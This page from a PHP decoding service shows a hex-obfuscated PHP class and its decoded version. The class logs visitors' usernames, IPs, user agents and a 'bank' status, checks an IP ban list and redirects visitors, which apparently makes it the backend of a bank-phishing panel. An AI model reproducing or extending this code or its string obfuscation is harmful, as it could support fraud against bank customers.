Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace App\Models\Pay; use PDO; use Datetime; class Pay extends \Core\Model { p..
Decoded Output download
<?php
namespace App\Models\Pay; use PDO; use Datetime; class Pay extends \Core\Model { public function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :url"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":url", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public function createLog($username, $url, $uid, $ip, $agent) { $sql = "INSERT INTO logs (username, url, user_id, ip, user_agent, waiting) VALUES (:username, :url, :user_id, :ip, :user_agent, :waiting)"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":username", $username, PDO::PARAM_STR); $stmt->bindValue(":url", $url, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->bindValue(":user_agent", $agent, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->execute(); } public function findLog($uid) { $sql = "SELECT * FROM logs WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetchAll(); if ($data) { return true; } return false; } public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function updateStatus($user) { $sql = "UPDATE logs SET waiting = :waiting, bank = :bank WHERE user_id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":bank", null, PDO::PARAM_NULL); $stmt->bindValue(":id", $user, PDO::PARAM_STR); $stmt->execute(); } } ?>
Did this file decode correctly?
Original Code
<?php
namespace App\Models\Pay; use PDO; use Datetime; class Pay extends \Core\Model { public function checkPayment($url = array()) { $sql = "\x53\x45\x4c\x45\x43\124\x20\x2a\40\x46\122\x4f\x4d\40\x72\145\x71\x75\x65\x73\x74\163\x20\x57\110\105\122\x45\x20\x75\x72\x6c\x20\75\x20\72\x75\x72\154"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x72\x6c", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public function createLog($username, $url, $uid, $ip, $agent) { $sql = "\111\x4e\x53\105\x52\124\40\x49\x4e\x54\x4f\40\154\157\x67\163\x20\50\165\163\145\162\156\141\155\x65\x2c\40\x75\162\x6c\54\x20\x75\163\x65\162\137\151\144\54\40\x69\160\54\40\x75\x73\145\x72\137\x61\147\x65\x6e\164\x2c\x20\x77\x61\151\164\x69\x6e\x67\51\40\126\101\114\125\x45\x53\40\x28\72\165\x73\145\x72\156\x61\x6d\x65\54\40\72\165\162\x6c\54\x20\x3a\165\x73\145\x72\x5f\x69\x64\54\40\x3a\x69\160\x2c\x20\x3a\165\x73\x65\x72\137\141\147\x65\x6e\164\54\x20\x3a\x77\141\x69\164\151\x6e\x67\x29"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x75\x73\x65\162\x6e\141\155\145", $username, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\162\x6c", $url, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\x72\137\151\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\151\160", $ip, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\162\137\x61\x67\145\x6e\x74", $agent, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\164\x69\x6e\x67", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->execute(); } public function findLog($uid) { $sql = "\123\105\x4c\105\x43\x54\40\x2a\40\x46\x52\117\115\x20\154\x6f\147\163\40\127\x48\105\122\x45\40\165\x73\145\162\137\x69\144\x20\75\x20\72\x75\163\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\163\145\162\x5f\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function findBan($ip) { $sql = "\x53\105\114\x45\103\x54\x20\52\40\106\x52\x4f\115\40\142\141\156\x73\40\127\110\105\122\x45\x20\151\x70\x20\x3d\40\x3a\x69\160"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\160", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetchAll(); if ($data) { return true; } return false; } public static function redirect() { $sql = "\x53\105\x4c\x45\103\124\40\52\40\106\x52\x4f\x4d\40\162\145\x64\x69\x72\x65\x63\x74\x20\127\x48\105\x52\105\x20\151\144\40\x3d\40\x3a\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\144", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\154\157\143\x61\x74\x69\157\156\72\x20" . $data["\x72\145\144\151\x72\x65\143\x74"]); die; } else { header("\x6c\157\x63\141\164\x69\x6f\x6e\x3a\x20\150\164\164\x70\163\72\57\x2f\x77\167\x77\x2e\147\157\x6f\147\x6c\x65\56\x6e\154"); die; } } public static function updateStatus($user) { $sql = "\125\x50\x44\101\124\x45\40\x6c\x6f\147\x73\x20\123\x45\x54\x20\x77\141\x69\164\x69\156\x67\40\x3d\40\72\167\x61\151\164\x69\156\147\x2c\40\142\141\156\153\40\75\x20\72\x62\141\156\153\40\127\110\x45\x52\x45\40\x75\x73\145\162\137\151\x64\40\x3d\40\x3a\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\167\x61\151\x74\151\156\x67", "\x66\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\142\141\156\153", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x69\144", $user, PDO::PARAM_STR); $stmt->execute(); } }
Function Calls
None |
Stats
MD5 | d88e520b71ff1697328e4089faf66dbd |
Eval Count | 0 |
Decode Time | 64 ms |